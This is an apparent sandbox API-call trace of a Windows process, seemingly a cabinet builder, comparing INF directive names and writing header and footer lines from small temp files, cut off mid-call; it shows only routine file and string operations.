_strcmpi (_Str1="InfFooter", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfHeader", _Str2="InfHeader1") returned -49 [0102.424] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader1") returned 0 [0102.424] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.424] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.424] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader2") returned 10 [0102.424] _strcmpi (_Str1="Cabinet", _Str2="InfHeader2") returned -6 [0102.424] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader2") returned -6 [0102.424] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader2") returned -6 [0102.424] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader2") returned -6 [0102.424] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader2") returned -6 [0102.424] _strcmpi (_Str1="Compress", _Str2="InfHeader2") returned -6 [0102.424] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader2") returned -6 [0102.425] _strcmpi (_Str1="CompressionType", _Str2="InfHeader2") returned -6 [0102.425] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader2") returned -6 [0102.425] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader2") returned -6 [0102.425] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader2") returned -3 [0102.425] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader2") returned -3 [0102.425] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader2") returned -5 [0102.425] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader2") returned -4 [0102.425] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader2") returned -4 [0102.425] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader2") returned -4 [0102.425] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFileName", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFooter", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader2") returned -2 [0102.425] _strcmpi (_Str1="InfHeader", _Str2="InfHeader2") returned -50 [0102.425] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader2") returned -1 [0102.425] _strcmpi (_Str1="InfHeader2", _Str2="InfHeader2") returned 0 [0102.425] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.425] _vsnprintf (in: _DstBuf=0x1ff077, _MaxCount=0x1f8, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf="Sun Jun 09 15:06:21 2019") returned 24 [0102.425] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.425] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader3") returned 10 [0102.425] _strcmpi (_Str1="Cabinet", _Str2="InfHeader3") returned -6 [0102.425] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader3") returned -6 [0102.425] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader3") returned -6 [0102.425] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader3") returned -6 [0102.425] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader3") returned -6 [0102.426] _strcmpi (_Str1="Compress", _Str2="InfHeader3") returned -6 [0102.426] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader3") returned -6 [0102.426] _strcmpi (_Str1="CompressionType", _Str2="InfHeader3") returned -6 [0102.426] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader3") returned -6 [0102.426] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader3") returned -6 [0102.426] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader3") returned -3 [0102.426] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader3") returned -3 [0102.426] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader3") returned -5 [0102.426] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader3") returned -4 [0102.426] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader3") returned -4 [0102.426] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader3") returned -4 [0102.426] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFileName", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFooter", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfHeader", _Str2="InfHeader3") returned -51 [0102.426] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader3") returned -2 [0102.426] _strcmpi (_Str1="InfHeader2", _Str2="InfHeader3") returned -1 [0102.426] _strcmpi (_Str1="InfHeader3", _Str2="InfHeader3") returned 0 [0102.426] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.426] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.426] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader4") returned 10 [0102.426] _strcmpi (_Str1="Cabinet", _Str2="InfHeader4") returned -6 [0102.426] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader4") returned -6 [0102.426] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader4") returned -6 [0102.426] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader4") returned -6 [0102.426] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader4") returned -6 [0102.426] _strcmpi (_Str1="Compress", _Str2="InfHeader4") returned -6 [0102.427] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader4") returned -6 [0102.427] _strcmpi (_Str1="CompressionType", _Str2="InfHeader4") returned -6 [0102.427] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader4") returned -6 [0102.427] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader4") returned -6 [0102.427] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader4") returned -3 [0102.427] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader4") returned -3 [0102.427] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader4") returned -5 [0102.427] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader4") returned -4 [0102.427] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader4") returned -4 [0102.427] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader4") returned -4 [0102.427] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFileName", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFooter", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfHeader", _Str2="InfHeader4") returned -52 [0102.427] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader4") returned -3 [0102.427] _strcmpi (_Str1="InfHeader2", _Str2="InfHeader4") returned -2 [0102.427] _strcmpi (_Str1="InfHeader3", _Str2="InfHeader4") returned -1 [0102.427] _strcmpi (_Str1="InfHeader4", _Str2="InfHeader4") returned 0 [0102.427] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.427] _vsnprintf (in: _DstBuf=0x1ff077, _MaxCount=0x1f8, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf="Sun Jun 09 15:06:21 2019") returned 24 [0102.427] _vsnprintf (in: _DstBuf=0x1ff094, _MaxCount=0x1db, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf="6.1.7600.16385") returned 14 [0102.427] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 72 [0102.427] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader5") returned 10 [0102.427] _strcmpi (_Str1="Cabinet", _Str2="InfHeader5") returned -6 [0102.427] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="Compress", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="CompressionType", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader5") returned -6 [0102.428] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader5") returned -3 [0102.428] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader5") returned -3 [0102.428] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader5") returned -5 [0102.428] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader5") returned -4 [0102.428] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader5") returned -4 [0102.428] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader5") returned -4 [0102.428] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFileName", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFooter", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader5") returned -2 [0102.428] _strcmpi (_Str1="InfHeader", _Str2="InfHeader5") returned -53 [0102.428] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader5") returned -4 [0102.428] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.428] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.428] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader6") returned 10 [0102.428] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.428] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.429] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader7") returned 10 [0102.429] _vsnprintf (in: _DstBuf=0x1ff010, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fef68 | out: _DstBuf="InfHeader7") returned 10 [0102.429] malloc (_Size=0x800) returned 0x32db30 [0102.429] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_2" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2564_2"), _Mode="rb") returned 0x7fefd702b40 [0102.429] feof (_File=0x7fefd702b40) returned 0 [0102.429] fread (in: _DstBuf=0x32db30, _ElementSize=0x1, _Count=0x800, _File=0x7fefd702b40 | out: _DstBuf=0x32db30*, _File=0x7fefd702b40) returned 0x17 [0102.429] ferror (_File=0x7fefd702b40) returned 0 [0102.429] fwrite (in: _Str=0x32db30*, _Size=0x1, _Count=0x17, _File=0x7fefd702b10 | out: _Str=0x32db30*, _File=0x7fefd702b10) returned 0x17 [0102.429] ferror (_File=0x7fefd702b10) returned 0 [0102.429] feof (_File=0x7fefd702b40) returned 16 [0102.429] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0102.429] free (_Block=0x32db30) [0102.429] malloc (_Size=0x800) returned 0x32db30 [0102.429] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2564_3"), _Mode="rb") returned 0x7fefd702b40 [0102.429] feof (_File=0x7fefd702b40) returned 0 [0102.429] fread (in: _DstBuf=0x32db30, _ElementSize=0x1, _Count=0x800, _File=0x7fefd702b40 | out: _DstBuf=0x32db30*, _File=0x7fefd702b40) returned 0x1e [0102.429] ferror (_File=0x7fefd702b40) returned 0 [0102.429] fwrite (in: _Str=0x32db30*, _Size=0x1, _Count=0x1e, _File=0x7fefd702b10 | out: _Str=0x32db30*, _File=0x7fefd702b10) returned 0x1e [0102.429] ferror (_File=0x7fefd702b10) returned 0 [0102.430] feof (_File=0x7fefd702b40) returned 16 [0102.430] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0102.430] free (_Block=0x32db30) [0102.430] malloc (_Size=0x800) returned 0x32db30 [0102.430] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2564_4"), _Mode="rb") returned 0x7fefd702b40 [0102.430] feof (_File=0x7fefd702b40) returned 0 [0102.430] fread (in: _DstBuf=0x32db30, _ElementSize=0x1, _Count=0x800, _File=0x7fefd702b40 | out: _DstBuf=0x32db30*, _File=0x7fefd702b40) returned 0x28 [0102.430] ferror (_File=0x7fefd702b40) returned 0 [0102.430] fwrite (in: _Str=0x32db30*, _Size=0x1, _Count=0x28, _File=0x7fefd702b10 | out: _Str=0x32db30*, _File=0x7fefd702b10) returned 0x28 [0102.430] ferror (_File=0x7fefd702b10) returned 0 [0102.430] feof (_File=0x7fefd702b40) returned 16 [0102.430] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0102.430] free (_Block=0x32db30) [0102.430] _strcmpi (_Str1="Cabinet", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="Compress", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="CompressionType", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter") returned -6 [0102.430] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter") returned -5 [0102.430] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter") returned -5 [0102.430] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter") returned -5 [0102.430] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter") returned -5 [0102.430] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter") returned -3 [0102.430] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter") returned -3 [0102.430] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter") returned -2 [0102.430] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter") returned -3 [0102.431] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter") returned -3 [0102.431] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter") returned -3 [0102.431] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter") returned -2 [0102.431] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter") returned -2 [0102.431] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter") returned -2 [0102.431] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter") returned -6 [0102.431] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter") returned -6 [0102.431] _strcmpi (_Str1="InfFileName", _Str2="InfFooter") returned -6 [0102.431] _strcmpi (_Str1="InfFooter", _Str2="InfFooter") returned 0 [0102.431] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.431] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.431] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfFooter1") returned 10 [0102.431] _strcmpi (_Str1="Cabinet", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="Compress", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="CompressionType", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter1") returned -5 [0102.431] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter1") returned -5 [0102.431] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter1") returned -5 [0102.431] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter1") returned -5 [0102.431] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter1") returned -3 [0102.431] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter1") returned -3 [0102.431] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter1") returned -2 [0102.431] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter1") returned -3 [0102.431] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter1") returned -3 [0102.431] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter1") returned -3 [0102.431] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter1") returned -2 [0102.431] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter1") returned -2 [0102.431] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter1") returned -2 [0102.431] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="InfFileName", _Str2="InfFooter1") returned -6 [0102.431] _strcmpi (_Str1="InfFooter", _Str2="InfFooter1") returned -49 [0102.432] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter1") returned 0 [0102.432] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.432] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.432] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfFooter2") returned 10 [0102.432] _strcmpi (_Str1="Cabinet", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="Compress", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="CompressionType", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter2") returned -5 [0102.432] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter2") returned -5 [0102.432] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter2") returned -5 [0102.432] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter2") returned -5 [0102.432] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter2") returned -3 [0102.432] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter2") returned -3 [0102.432] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter2") returned -2 [0102.432] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter2") returned -3 [0102.432] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter2") returned -3 [0102.432] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter2") returned -3 [0102.432] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter2") returned -2 [0102.432] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter2") returned -2 [0102.432] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter2") returned -2 [0102.432] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="InfFileName", _Str2="InfFooter2") returned -6 [0102.432] _strcmpi (_Str1="InfFooter", _Str2="InfFooter2") returned -50 [0102.432] _strcmpi (_Str1="InfFooter1", _Str2="InfFooter2") returned -1 [0102.432] _strcmpi (_Str1="InfFooter2", _Str2="InfFooter2") returned 0 [0102.432] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.432] _vsnprintf (in: _DstBuf=0x1ff077, _MaxCount=0x1f8, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf="Sun Jun 09 15:06:21 2019") returned 24 [0102.432] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.432] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfFooter%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfFooter3") returned 10 [0102.433] _strcmpi (_Str1="Cabinet", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="Compress", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="CompressionType", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter3") returned -6 [0102.433] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter3") returned -5 [0102.433] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter3") returned -5 [0102.433] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter3") returned -5 [0102.433] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter3") returned -5 [0102.433] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter3") returned -3 [0102.433] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter3") returned -3 [0102.433] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter3") returned -2 [0102.433] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter3") returned -3 [0102.433] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter3") returned -3 [0102.433] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter3") returned -3 [0102.433] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter3") returned -2 [0102.433] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter3") returned -2 [0102.433] _strcmpi (_Str1="InfDiskLineFormat", 